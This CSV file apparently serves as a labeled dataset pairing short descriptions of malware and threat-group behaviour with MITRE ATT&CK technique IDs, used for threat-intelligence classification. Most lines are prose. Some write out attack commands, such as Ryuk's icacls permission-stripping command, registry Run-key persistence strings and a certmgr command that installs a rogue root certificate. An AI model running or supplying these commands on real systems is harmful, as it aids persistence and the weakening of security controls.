Imminent Monitor has decoded malware components that are then dropped to the system.,T1140
Kimsuky has decoded malicious VBScripts using Base64.,T1140
Machete's downloaded data is decrypted using AES.,T1140
MuddyWater decoded base64-encoded PowerShell commands using a VBS file.,T1140
"NOKKI uses a unique, custom de-obfuscation technique.",T1140
PS1 can use an XOR key to decrypt a PowerShell loader and payload binary.,T1140
PipeMon can decrypt password-protected executables.,T1140
PowGoop can decrypt PowerShell scripts for execution.,T1140
PowerLess can use base64 and AES ECB decryption prior to execution of downloaded modules.,T1140
Remexi decrypts the configuration data using XOR with 25-character keys.,T1140
Rocke has extracted tar.gz files after downloading them from a C2 server.,T1140
SharpStage has decompressed data received from the C2 server.,T1140
SideTwist can decode and decrypt messages received from C2.,T1140
Starloader decrypts and executes shellcode from a file called Stars.jps.,T1140
The Winnti for Windows dropper can decrypt and decompresses a data blob.,T1140
Torisma has used XOR and Base64 to decode C2 data.,T1140
TrickBot decodes the configuration data and modules.,T1140
UNC2452 used 7-Zip to decode its Raindrop malware.,T1140
"VERMIN decrypts code, strings, and commands to use once it's on the victim's machine.",T1140
Valak has the ability to decode and decrypt downloaded files.,T1140
YAHOYAH decrypts downloaded files before execution.,T1140
"gh0st RAT has decrypted and loaded the gh0st RAT DLL into memory, once the initial dropper executable is launched.",T1140
Grandoreiro can use malicious browser extensions to steal cookies and other user information.,T1176
OSX/Shlayer can install malicious Safari browser extensions to serve ads.,T1176
Chaes has used the Puppeteer module to hook and monitor the Chrome web browser to collect user information from infected hosts.,T1185
IcedID has used web injection attacks to redirect victims to spoofed sites designed to harvest banking and other credentials. IcedID can use a self signed TLS certificate in connection with the spoofed site and simultaneously maintains a live connection with the legitimate site to display the correct URL and certificates in the browser.,T1185
Dragonfly has performed forced authentication to gather hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.,T1187
EnvyScout can use protocol handlers to coax the operating system to send NTLMv2 authentication responses to attacker-controlled infrastructure.,T1187
APT28 has compromised targets via strategic web compromise utilizing custom exploit kits.,T1189
"""Bad Rabbit spread through watering holes on popular sites by injecting JavaScript into the HTML body or a """".js"""" file.""",T1189
"During C0010, UNC3890 actors likely established a watering hole that was hosted on a login page of a legitimate Israeli shipping company that was active until at least November 2021.",T1189
PROMETHIUM has used watering hole attacks to deliver malicious versions of legitimate installers.,T1189
"Blue Mockingbird has gained initial access by exploiting CVE-2019-18935, a vulnerability within Telerik UI for ASP.NET AJAX.",T1190
GOLD SOUTHFIELD has exploited Oracle WebLogic vulnerabilities for initial compromise.,T1190
Moses Staff has exploited known vulnerabilities in public-facing infrastructure such as Microsoft Exchange Servers.,T1190
Night Dragon has performed SQL injection attacks of extranet web servers to gain access.,T1190
UNC2452 exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.,T1190
"CCBkdr was added to a legitimate, signed version 5.33 of the CCleaner software and distributed on CCleaner's distribution site.",T1195.002
APT41 used BITSAdmin to download and install payloads.,T1197
Tropic Trooper has leveraged the BITSadmin command-line tool to create a job and launch a malicious process.,T1197
"DarkVishnya used Bash Bunny, Raspberry Pi, netbooks or inexpensive laptops to connect to the company's local network.",T1200
Chimera has used the NtdsAudit utility to collect information related to accounts and passwords.,T1201
"""PoshC2 can use """"Get-PassPol"""" to enumerate the domain password policy.""",T1201
Revenge RAT uses the Forfiles utility to execute commands on the system.,T1202
"Cobalt Group had exploited multiple vulnerabilities for execution, including Microsoft's Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, CVE-2017-0199, and CVE-2017-8759.",T1203
Frankenstein has used CVE-2017-11882 to execute code on the victim's machine.,T1203
HAWKBALL has exploited Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802 to deliver the payload.,T1203
Mustang Panda has exploited CVE-2017-0199 in Microsoft Word to execute code.,T1203
TA459 has exploited Microsoft Word vulnerability CVE-2017-0199 for execution.,T1203
APT3 has lured victims into clicking malicious links delivered through spearphishing.,T1204.001
AppleJeus's spearphishing links required user interaction to navigate to the malicious website.,T1204.001
Confucius has lured victims into clicking on a malicious link sent through spearphishing.,T1204.001
Ember Bear has attempted to lure users to click on a malicious link within a spearphishing email.,T1204.001
Evilnum has sent spearphishing emails designed to trick the recipient into opening malicious shortcut links which downloads a .LNK file.,T1204.001
GuLoader has relied upon users clicking on links to malicious documents.,T1204.001
Machete has has relied on users opening malicious links delivered through spearphishing to execute malware.,T1204.001
Molerats has sent malicious links via email trick users into opening a RAR archive and running an executable.,T1204.001
Night Dragon enticed users to click on links in spearphishing emails to download malware.,T1204.001
"Patchwork has used spearphishing with links to try to get users to click, download and open malicious files.",T1204.001
Pony has attempted to lure targets into clicking links in spoofed emails from legitimate banks.,T1204.001
Saint Bot has relied on users to click on a malicious link delivered via a spearphishing.,T1204.001
APT12 has attempted to get victims to open malicious Microsoft Word and PDF attachment sent via spearphishing.,T1204.002
APT38 has attempted to lure victims into enabling malicious macros within email attachments.,T1204.002
Agent Tesla has been executed through malicious e-mail attachments,T1204.002
Cardinal RAT lures victims into executing malicious macros embedded within Microsoft Excel documents.,T1204.002
Confucius has lured victims to execute malicious attachments included in crafted spearphishing emails related to current topics.,T1204.002
DarkHydrus has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.,T1204.002
Dridex has relied upon users clicking on a malicious attachment delivered through spearphishing.,T1204.002
EnvyScout has been executed through malicious files attached to e-mails.,T1204.002
FIN6 has used malicious documents to lure victims into allowing execution of PowerShell scripts.,T1204.002
Heyoka Backdoor has been spread through malicious document lures.,T1204.002
Higaisa used malicious e-mail attachments to lure victims into executing LNK files.,T1204.002
IndigoZebra sent spearphishing emails containing malicious attachments that urged recipients to review modifications in the file which would trigger the attack.,T1204.002
Indrik Spider has attempted to get users to click on a malicious zipped file.,T1204.002
JSS Loader has been executed through malicious attachments contained in spearphishing emails.,T1204.002
KGH_SPY has been spread through Word documents containing malicious macros.,T1204.002
Lazarus Group has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email.,T1204.002
LazyScripter has lured users to open malicious email attachments.,T1204.002
Nomadic Octopus as attempted to lure victims into clicking on malicious attachments within spearphishing emails.,T1204.002
Octopus has relied upon users clicking on a malicious attachment delivered through spearphishing.,T1204.002
Rancor attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware.,T1204.002
Sidewinder has lured targets to click on malicious files to gain execution in the target environment.,T1204.002
Squirrelwaffle has relied on users enabling malicious macros within Microsoft Excel and Word attachments.,T1204.002
"StrongPity has been executed via compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities.",T1204.002
Taidoor has relied upon a victim to click on a malicious email attachment.,T1204.002
"Umbreon provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet.",T1205
"""Mimikatz's """"LSADUMP::DCShadow"""" module can be used to make AD updates by temporarily setting a computer to be a DC.""",T1207
Bad Rabbit used the EternalRomance SMB exploit to spread through victim networks.,T1210
FIN7 has exploited ZeroLogon (CVE-2020-1472) against vulnerable domain controllers.,T1210
Threat Group-3390 has exploited MS17-010 to move laterally to other systems on the network.,T1210
Tonto Team has used EternalBlue exploits for lateral movement.,T1210
WannaCry uses an exploit in SMBv1 to spread itself to other remote systems on a network.,T1210
menuPass has used tools to exploit the ZeroLogon vulnerability (CVE-2020-1472).,T1210
Turla has used a custom .NET tool to collect documents from an organization's internal central database.,T1213
LAPSUS$ has searched a victim's network for code repositories like GitLab and GitHub to discover further high-privilege account credentials.,T1213.003
"""Chimera has used """"type \\\c$\Users\\Favorites\Links\Bookmarks bar\Imported From IE\citrix"""" for bookmark discovery.""",T1217
DarkWatchman can retrieve browser history.,T1217
Lizar can retrieve browser history and database files.,T1217
SUGARDUMP has collected browser bookmark and history information.,T1217
"Ember Bear has used control panel files (CPL), delivered via e-mail, for execution.",T1218.002
"""Mustang Panda has used """"InstallUtil.exe"""" to execute a malicious Beacon stager.""",T1218.004
Metamorfo has used mshta.exe to execute a HTA payload.,T1218.005
Mustang Panda has used mshta.exe to launch collection scripts.,T1218.005
POWERSTATS can use Mshta.exe to execute additional payloads on compromised hosts.,T1218.005
SideCopy has utilized `mshta.exe` to execute a malicious hta file.,T1218.005
Molerats has used msiexec.exe to execute an MSI payload.,T1218.007
RemoteUtilities can use Msiexec to install a service.,T1218.007
ZIRCONIUM has used the msiexec.exe command-line utility to download and execute malicious MSI files.,T1218.007
Deep Panda has used regsvr32.exe to execute a server variant of Derusbi in victim networks.,T1218.010
Hi-Zor executes using regsvr32.exe called from the Registry Run Keys / Startup Folder persistence mechanism.,T1218.010
"""Inception has ensured persistence at system boot by setting the value """"regsvr32 %path%\ctfmonrn.dll /s"""".""",T1218.010
Mori can use `regsvr32.exe` for DLL execution.,T1218.010
"""APT29 has used """"Rundll32.exe"""" to execute payloads.""",T1218.011
"""Bad Rabbit has used rundll32 to launch a malicious DLL as """"C:Windowsinfpub.dat"""".""",T1218.011
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.,T1218.011
Bumblebee has used `rundll32` for execution of the loader component.,T1218.011
"During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.",T1218.011
EnvyScout has the ability to proxy execution of malicious files with Rundll32.,T1218.011
FELIXROOT uses Rundll32 for executing the dropper program.,T1218.011
Gamaredon Group malware has used rundll32 to launch additional malicious components.,T1218.011
Kimsuky has used `rundll32.exe` to execute malicious scripts and malware on a victim's network.,T1218.011
LazyScripter has used `rundll32.exe` to execute Koadic stagers.,T1218.011
Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.,T1218.011
NativeZone has used rundll32 to execute a malicious DLL.,T1218.011
"""NotPetya uses """"rundll32.exe"""" to install itself on remote systems when accessed via PsExec or """"wmic"""".""",T1218.011
SDBbot has used rundll32.exe to execute DLLs.,T1218.011
SUNBURST used Rundll32 to execute payloads.,T1218.011
The Winnti for Windows installer loads a DLL using rundll32.,T1218.011
UNC2452 used Rundll32 to execute payloads.,T1218.011
"Cobalt Group used the Ammyy Admin tool as well as TeamViewer for remote access, including to preserve remote access if a Cobalt Strike module was lost.",T1219
DarkVishnya used DameWare Mini Remote Control for lateral movement.,T1219
"""GOLD SOUTHFIELD has used the cloud-based remote management and monitoring tool """"ConnectWise Control"""" to deploy REvil.""",T1219
Kimsuky has used a modified TeamViewer client as a command and control channel.,T1219
RTM has used a modified version of TeamViewer and Remote Utilities for remote access.,T1219
TrickBot uses vncDll module to remote control the victim machine.,T1219
Confucius has used a weaponized Microsoft Word document with an embedded RTF exploit.,T1221
Lazarus Group has used DOCX files to retrieve a malicious document template/DOTM file.,T1221
"""Ryuk can launch """"icacls /grant Everyone:F /T /C /Q"""" to delete every access-based restrictions on files and directories.""",T1222.001
"""XCSSET uses the """"chmod +x"""" command to grant executable permissions to the malicious file.""",T1222.002
APT33 has used kill dates in their malware to guardrail execution.,T1480
PowerPunch can use the volume serial number from a target host to generate a unique XOR key for the next stage payload.,T1480.001
"""APT29 used the """"Get-AcceptedDomain"""" PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell. They also used AdFind to enumerate domains and to discover trust between federated domains.""",T1482
AdFind can gather information about organizational units (OUs) and domain trusts from Active Directory.,T1482
BloodHound has the ability to map domain trusts and identify misconfigurations for potential abuse.,T1482
Egregor can modify the GPO to evade detection.,T1484.001
Meteor can use group policy to push a scheduled task from the AD to all network machines.,T1484.001
APT29 changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.,T1484.002
KillDisk deletes system files to make the OS unbootable. KillDisk also targets and deletes files with 35 different file extensions.,T1485
Proxysvc can overwrite files indicated by the attacker before deleting them.,T1485
WhisperGate can corrupt files by overwriting the first 1 MB with `0xcc` and appending random extensions.,T1485
Xbash has destroyed Linux-based databases as part of its ransomware capabilities.,T1485
APT41 used a ransomware called Encryptor RaaS to encrypt files on the targeted systems and provide a ransom note to the user.,T1486
Babuk can use ChaCha8 and ECDH to encrypt data.,T1486
Bad Rabbit has encrypted files and disks using AES-128-CBC and RSA-2048.,T1486
DCSrv has encrypted drives using the core encryption mechanism from DiskCryptor.,T1486
"During C0015, the threat actors used Conti ransomware to encrypt a compromised network.",T1486
"ProLock can encrypt files on a compromised host with RC6, and encrypts the key with RSA-1024.",T1486
Ragnar Locker encrypts files on the local machine and mapped drives prior to displaying a note demanding a ransom.,T1486
"Seth-Locker can encrypt files on a targeted system, appending them with the suffix .seth.",T1486
Clop can kill several processes and services related to backups and security solutions.,T1489
Cuba has a hardcoded list of services and processes to terminate.,T1489
"EKANS stops database, data backup solution, antivirus, and ICS-related processes.",T1489
HotCroissant has the ability to stop services on the infected host.,T1489
"""Ryuk has called """"kill.bat"""" for stopping services, disabling services and killing processes.""",T1489
SLOTHFULMEDIA has the capability to stop processes and services.,T1489
Diavol can delete shadow copies using the `IVssBackupComponents` COM object to call the `DeleteSnapshots` method.,T1490
FIVEHANDS has the ability to delete volume shadow copies on compromised hosts.,T1490
HermeticWiper can disable the VSS service on a compromised host using the service control manager.,T1490
"Maze has attempted to delete the shadow volumes of infected machines, once before and once after the encryption process.",T1490
"""Olympic Destroyer uses the native Windows utilities """"vssadmin"""", """"wbadmin"""", and """"bcdedit"""" to delete and disable operating system recovery features such as the Windows backup catalog and Windows Automatic Repair.""",T1490
Lazarus Group replaced the background wallpaper of systems with a threatening image after rendering the system unbootable with a Disk Structure Wipe.,T1491.001
Meteor can change both the desktop wallpaper and the lock screen image to a custom image.,T1491.001
Bonadan can download an additional module which has a cryptocurrency mining extension.,T1496
"""Bazar can attempt to overload sandbox analysis by sending 1550 calls to """"printf"""".""",T1497
Egregor has used multiple anti-analysis and anti-sandbox techniques to prevent automated analysis by sandboxes.,T1497
"Hancitor has used a macro to check that an ActiveDocument shape object in the lure message is present. If this object is not found, the macro will exit without downloading additional payloads.",T1497
RTM can detect if it is running within a sandbox or other virtualized analysis environment.,T1497
StoneDrill has used several anti-emulation techniques to prevent automated analysis by emulators or sandboxes.,T1497
Astaroth can check for Windows product ID's used by sandboxes and usernames and disk serial numbers associated with analyst environments.,T1497.001
BLUELIGHT can check to see if the infected machine has VM tools running.,T1497.001
"CSPY Downloader can search loaded modules, PEB structure, file paths, Registry keys, and memory to determine if it is being debugged or running in a virtual environment.",T1497.001
"""GravityRAT uses WMI to check the BIOS and manufacturer information for strings like """"VMWare"""", """"Virtual"""", and """"XEN"""" and another WMI request to get the current temperature of the hardware to determine if it's a virtual machine environment.""",T1497.001
P8RAT can check the compromised host for processes associated with VMware or VirtualBox environments.,T1497.001
SUNBURST checked the domain name of the compromised host to verify it was running in a real environment.,T1497.001
"Saint Bot has run several virtual machine and sandbox checks, including checking if `Sbiedll.dll` is present in a list of loaded modules, comparing the machine name to `HAL9TH` and the user name to `JohnDoe`, and checking the BIOS version for known virtual machine identifiers.",T1497.001
Trojan.Karagany can detect commonly used and generic virtualization platforms based primarily on drivers and file paths.,T1497.001
Bumblebee has the ability to set a hardcoded and randomized sleep interval.,T1497.003
"GoldMax has set an execution trigger date and time, stored as an ASCII Unix/Epoch time value.",T1497.003
GoldenSpy's installer has delayed installation of GoldenSpy for two hours after it reaches a victim system.,T1497.003
"GuLoader has the ability to perform anti-debugging based on time checks, API calls, and CPUID.",T1497.003
"Okrum's loader can detect presence of an emulator by using two calls to GetTickCount API, and checking whether the time has been accelerated.",T1497.003
StrifeWater can modify its sleep time responses from the default of 20-22 seconds.,T1497.003
Tomiris has the ability to sleep for at least nine minutes to evade sandbox-based analysis systems.,T1497.003
Ursnif has used a 30 minute delay after execution to evade sandbox monitoring tools.,T1497.003
"Lucifer can execute TCP, UDP, and HTTP denial of service (DoS) attacks.",T1498
"Dragonfly 2.0 commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.",T1505.003
Fox Kitten has installed web shells on compromised hosts to maintain access.,T1505.003
Magic Hound has used multiple web shells to gain execution.,T1505.003
"Operation Wocao has used their own web shells, as well as those previously placed on target systems by other threat actors, for reconnaissance and lateral movement.",T1505.003
SEASHARPEE is a Web shell.,T1505.003
OwaAuth has been loaded onto Exchange servers and disguised as an ISAPI filter (owaauth.dll). The IIS w3wp.exe process then loads the malicious DLL.,T1505.004
BRONZE BUTLER has used tools to enumerate software installed on an infected host.,T1518
Bundlore has the ability to enumerate what browser is being used as well as version information for Safari.,T1518
Dyre has the ability to identify installed programs on a compromised host.,T1518
"""Mustang Panda has searched the victim system for the """"InstallUtil.exe"""" program and its version.""",T1518
Orz can gather the victim's Internet Explorer version.,T1518
SideCopy has collected browser information from a compromised host.,T1518
Sidewinder has used tools to enumerate software installed on an infected host.,T1518
A module in Prikormka collects information from the victim about installed anti-virus software.,T1518.001
Bumblebee can identify specific analytical tools based on running processes.,T1518.001
"""CookieMiner has checked for the presence of """"Little Snitch"""", macOS network monitoring and application firewall software, stopping and exiting if it is found.""",T1518.001
MoleNet can use WMI commands to check the system for firewall and antivirus software.,T1518.001
Mosquito's installer searches the Registry and system to see if specific antivirus tools are installed on the system.,T1518.001
Operation Wocao has used scripts to detect security software.,T1518.001
SpicyOmelette can check for the presence of 29 different antivirus tools.,T1518.001
StrongPity can identify if ESET or BitDefender antivirus are installed before dropping its payload.,T1518.001
"""XCSSET searches firewall configuration files located in """"/Library/Preferences/"""" and uses """"csrutil status"""" to determine if System Integrity Protection is enabled.""",T1518.001
YAHOYAH checks for antimalware solution processes on the system.,T1518.001
build_downer has the ability to detect if the infected host is running an anti-virus process.,T1518.001
ROADTools can enumerate Azure AD applications and service principals.,T1526
HermeticWiper can initiate a system shutdown.,T1529
Lazarus Group has rebooted systems after destroying files and wiping the MBR on infected systems.,T1529
"Maze has issued a shutdown command on a victim machine that, upon reboot, will run the ransomware within a VM.",T1529
Olympic Destroyer will shut down the compromised system after it is done modifying system configuration settings.,T1529
Shamoon will reboot the infected system once the wiping functionality has been completed.,T1529
WhisperGate can shutdown a compromised host through execution of `ExitWindowsEx` with the `EXW_SHUTDOWN` flag.,T1529
Fox Kitten has obtained files from the victim's cloud storage instances.,T1530
MegaCortex has changed user account passwords and logged users off the system.,T1531
Gamaredon Group has used an Outlook VBA module on infected systems to send phishing emails with malicious attachments to other employees within the organization.,T1534
"TajMahal has the ability to steal web session cookies from Internet Explorer, Netscape Navigator, FireFox and RealNetworks applications.",T1539
WhisperGate overwrites the MBR with a bootloader component that performs destructive wiping operations on hard drives and displays a fake ransom note when the host boots.,T1542.003
Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence.,T1543.001
Dacls can establish persistence via a LaunchAgent.,T1543.001
"""Green Lambert can create a Launch Agent with the `RunAtLoad` key-value pair set to """"true"""", ensuring the `com.apple.GrowlHelper.plist` file runs every time a user logs in.""",T1543.001
Proton persists via Launch Agent.,T1543.001
macOS.OSAMiner has placed a Stripped Payloads with a `plist` extension in the Launch Agent's folder.,T1543.001
"""TeamTNT has established persistence through the creation of a cryptocurrency mining system service using """"systemctl"""".""",T1543.002
"Duqu creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.",T1543.003
"GreyEnergy chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.",T1543.003
Industroyer can use an arbitrary system service to load at system boot for persistence and replaces the ImagePath registry value of a Windows service with a new backdoor binary.,T1543.003
KONNI has registered itself as a service using its export function.,T1543.003
Kwampirs creates a new service named WmiApSrvEx to establish persistence.,T1543.003
RainyDay can use services to establish persistence.,T1543.003
Seasalt is capable of installing itself as a service.,T1543.003
StrongPity has created new services and modified existing services for persistence.,T1543.003
Ursnif has registered itself as a system service in the Registry for automatic execution at system startup.,T1543.003
Wiarp creates a backdoor through which remote attackers can create a service.,T1543.003
ZeroT can add a new service to ensure PlugX persists on the system when delivered as another payload onto the system.,T1543.003
zwShell has established persistence by adding itself as a new service.,T1543.003
"SDBbot has the ability to use application shimming for persistence if it detects it is running as admin on Windows XP or 7, by creating a shim database to patch services.exe.",T1546.011
"""APT28 has used COM hijacking for persistence by replacing the legitimate """"MMDeviceEnumerator"""" object with a payload.""",T1546.015
Amadey has changed the Startup folder to the one containing its executable by overwriting the registry keys.,T1547.001
BadPatch establishes a foothold by adding a link to the malware executable in the startup folder.,T1547.001
"""Bisonal has added itself to the Registry key """"HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run\"""" for persistence.""",T1547.001
"CORESHELL has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.",T1547.001
Carberp has maintained persistence by placing itself inside the current user's startup folder.,T1547.001
Chinoxy has established persistence via the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` registry key and by loading a dropper to `(%COMMON_ STARTUP%\\eoffice.exe)`.,T1547.001
DarkComet adds several Registry entries to enable automatic execution at every system startup.,T1547.001
DownPaper uses PowerShell to add a Registry Run key in order to establish persistence.,T1547.001
Dragonfly 2.0 added the registry value ntdll to the Registry Run key to establish persistence.,T1547.001
"""During Operation Honeybee, the threat actors used batch files that allowed them to establish persistence by adding the following Registry key: `""""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost"""" /v COMSysApp /t REG_MULTI_SZ /d """"COMSysApp"""" /f`.""",T1547.001
"""Empire can modify the registry run keys """"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"""" and """"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"""" for persistence.""",T1547.001
"""GuLoader can establish persistence via the Registry under """"HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"""".""",T1547.001
Hancitor has added Registry Run keys to establish persistence.,T1547.001
Helminth establishes persistence by creating a shortcut in the Start Menu folder.,T1547.001
Higaisa added a spoofed binary to the start-up folder for persistence.,T1547.001
"""Ixeshe can achieve persistence by adding itself to the """"HKCU\Software\Microsoft\Windows\CurrentVersion\Run"""" Registry key.""",T1547.001
"""LiteDuke can create persistence by adding a shortcut in the """"CurrentVersion\Run"""" Registry key.""",T1547.001
Magic Hound malware has used Registry Run keys to establish persistence.,T1547.001
Matryoshka can establish persistence by adding Registry Run keys.,T1547.001
"""Metamorfo has configured persistence to the Registry ket """"HKCU\Software\Microsoft\Windows\CurrentVersion\Run, Spotify =% APPDATA%\Spotify\Spotify.exe"""" and used .LNK files in the startup folder to achieve persistence.""",T1547.001
NanoCore creates a RunOnce key in the Registry to execute its VBS scripts each time the user logs on to the machine.,T1547.001
"""One persistence mechanism used by CozyCar is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: """"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"""" """"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"""" """"HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"""" """"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run""""""",T1547.001
PoetRAT has added a registry key in the hive for persistence.,T1547.001
"""RTM tries to add a Registry Run key under the name """"Windows Update"""" to establish persistence.""",T1547.001
RogueRobin created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.,T1547.001
"""Rover persists by creating a Registry entry in """"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"""".""",T1547.001
SDBbot has the ability to add a value to the Registry Run key to establish persistence if it detects it is running with regular user privilege.,T1547.001
"""ShimRat has installed a registry based start-up key """"HKCU\Software\microsoft\windows\CurrentVersion\Run"""" to maintain persistence should other methods fail.""",T1547.001
"""Some InnaputRAT variants establish persistence by modifying the Registry key """"HKU\\Software\Microsoft\Windows\CurrentVersion\Run:%appdata%\NeutralApp\NeutralApp.exe"""".""",T1547.001
"""StrongPity can use the """"HKCU\Software\Microsoft\Windows\CurrentVersion\Run"""" Registry key for persistence.""",T1547.001
"TAINTEDSCRIBE can copy itself into the current user's Startup folder as ""Narrator.exe"" for persistence.",T1547.001
TURNEDUP is capable of writing to a Registry Run key to establish.,T1547.001
ThreatNeedle can be loaded into the Startup folder (`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrives.lnk`) as a Shortcut file for persistence.,T1547.001
Trojan.Karagany can create a link to itself in the Startup folder to automatically start itself upon system restart.,T1547.001
Vasport copies itself to disk and creates an associated run key Registry entry to establish.,T1547.001
Wizard Spider has established persistence via the Registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and a shortcut within the startup folder.,T1547.001
Flame can use Windows Authentication Packages for persistence.,T1547.002
A Dipsind variant registers as a Winlogon Event Notify DLL to establish persistence.,T1547.004
"""KeyBoy issues the command """"reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"""""" to achieve persistence.""",T1547.004
"""Empire can enumerate Security Support Providers (SSPs) as well as utilize PowerSploit's """"Install-SSP"""" and """"Invoke-Mimikatz"""" to install malicious SSPs and log authentication events.""",T1547.005
A version of KONNI drops a Windows shortcut on the victim's machine to establish persistence.,T1547.009
APT39 has modified LNK shortcuts.,T1547.009
Astaroth's initial payload is a malicious .LNK file.,T1547.009
Dragonfly 2.0 manipulated .lnk files to gather user credentials in conjunction with Forced Authentication.,T1547.009
Exaramel for Linux can execute commands with high privileges via a specific binary with setuid functionality.,T1548.001
Keydnap adds the setuid flag to a binary so it can easily elevate in the future.,T1548.001
Earth Lusca has used the Fodhelper UAC bypass technique to gain elevated privileges.,T1548.002
FinFisher performs UAC bypass.,T1548.002
Koadic has 2 methods for elevating integrity. It can bypass UAC through `eventvwr.exe` and `sdclt.exe`.,T1548.002
"APT29 used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling APT29 to access enterprise cloud applications and services.",T1550
"UNC2452 used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling UNC2452 to access enterprise cloud applications and services.",T1550
Empire can perform pass the hash attacks.,T1550.002
GALLIUM used dumped hashes to authenticate to other machines via pass the hash.,T1550.002
APT32 successfully gained remote access by using pass the ticket.,T1550.003
"BlackEnergy has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.",T1552.001
Empire can use various modules to search for files containing passwords.,T1552.001
Kimsuky has used tools that are capable of obtaining credentials from saved mail.,T1552.001
Pysa has extracted credentials from the password database before encrypting the files.,T1552.001
Agent Tesla has the ability to extract credentials from the Registry.,T1552.002
Operation Wocao has used Mimikatz to dump certificates and private keys from the Windows certificate store.,T1552.004
UNC2452 obtained the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.,T1552.004
"CoinTicker downloads the EggShell mach-o binary using curl, which does not set the quarantine flag.",T1553.001
AppleJeus has used a valid digital signature from Sectigo to appear legitimate.,T1553.002
BOOSTWRITE has been signed by a valid CA.,T1553.002
BackConfig has been signed with self signed digital certificates mimicking a legitimate software company.,T1553.002
Janicab used a valid AppleDeveloperID to sign the code to get past security restrictions.,T1553.002
Metamorfo has digitally signed executables using AVAST Software certificates.,T1553.002
Moses Staff has used signed drivers from an open source tool called DiskCryptor to evade detection.,T1553.002
"PipeMon, its installer, and tools are signed with stolen code-signing certificates.",T1553.002
Suckfly has used stolen certificates to sign its malware.,T1553.002
TA505 has signed payloads with code signing certificates from Thawte and Sectigo.,T1553.002
menuPass has resized and added data to the certificate table to enable the signing of modified files with legitimate signatures.,T1553.002
"""Hikit uses """"certmgr.exe -add GlobalSign.cer -c -s -r localMachine Root"""" and """"certmgr.exe -add GlobalSign.cer -c -s -r localMachineTrustedPublisher"""" to install a self-generated certificate to the local trust store as a root CA and Trusted Publisher.""",T1553.004
"Carberp's passw.plug plugin can gather account information from multiple instant messaging, email, and social media services, as well as FTP, VNC, and VPN clients.",T1555
Evilnum can collect email credentials from victims.,T1555
"Lokibot has stolen credentials from multiple applications and data sources including Windows OS credentials, email clients, FTP, and SFTP clients.",T1555
"MuddyWater has performed credential dumping with LaZagne and other tools, including by dumping passwords saved in victim email.",T1555
"CosmicDuke collects user credentials, including passwords, for various programs including Web browsers.",T1555.003
Emotet has been observed dropping browser password grabber modules.,T1555.003
Grandoreiro can steal cookie data and credentials from Google Chrome.,T1555.003
"H1N1 dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.",T1555.003
HEXANE has used a Mimikatz-based tool and a PowerShell script to steal passwords from Google Chrome.,T1555.003
Imminent Monitor has a PasswordRecoveryPacket module for recovering browser passwords.,T1555.003
"Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DPAPI.",T1555.003
MuddyWater has run tools including Browser64 to steal passwords saved in victim web browsers.,T1555.003
OilRig has used credential dumping tools such as LaZagne to steal credentials to accounts logged into the compromised system and to Outlook Web Access. OilRig has also used tool named PICKPOCKET to dump passwords from web browsers.,T1555.003
PoetRAT has used a Python tool named Browdec.exe to steal browser credentials.,T1555.003
"SUGARDUMP variants have harvested credentials from browsers such as Firefox, Chrome, Opera, and Edge.",T1555.003
Stolen Pencil has used tools that are capable of obtaining credentials from web browsers.,T1555.003
TA505 has used malware to gather credentials from Internet Explorer.,T1555.003
Unknown Logger is capable of stealing usernames and passwords from browsers on the victim machine.,T1555.003
ZIRCONIUM has used a tool to steal credentials from installed web browsers including Microsoft Internet Explorer and Google Chrome.,T1555.003
LaZagne can obtain credentials from Vault files.,T1555.004
Lizar has a plugin that can retrieve credentials from Internet Explorer and Microsoft Edge using `vaultcmd.exe` and another that can collect RDP access credentials using the `CredEnumerateW` function.,T1555.004
Fox Kitten has used scripts to access credential information from the KeePass database.,T1555.005
"""Ebury can intercept private keys using a trojanized """"ssh-add"""" function.""",T1556
